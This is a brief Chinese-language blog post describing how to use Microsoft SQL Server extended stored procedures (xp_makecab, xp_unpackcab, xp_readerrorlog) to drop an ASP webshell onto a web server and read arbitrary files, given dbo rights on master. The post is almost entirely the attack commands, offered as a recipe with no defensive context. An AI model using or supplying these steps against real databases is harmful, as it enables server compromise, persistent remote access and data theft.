兔八哥极品软件园    运行: 3799天 | 文章:639 篇 | 评论:175 条 | 碎语:1条

利用MSSQL扩展来获取WEBSHELL

作者:admin 发布于:2012-3-12 16:52 Monday 分类:MSSQL

EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'

打包

EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'

解包,可以用于得到webshell

EXEC [master].[dbo].[xp_readerrorlog] 1,'d:\cmd.asp'

读文本代码


要求权限:

master的dbo权限

 

持续收集其他扩展...

阅读全文>>

标签: webshell exec mssql

评论(0) 引用(48) 浏览(50929)


Powered by 兔八哥极品软件 苏ICP备12049267号 sitemap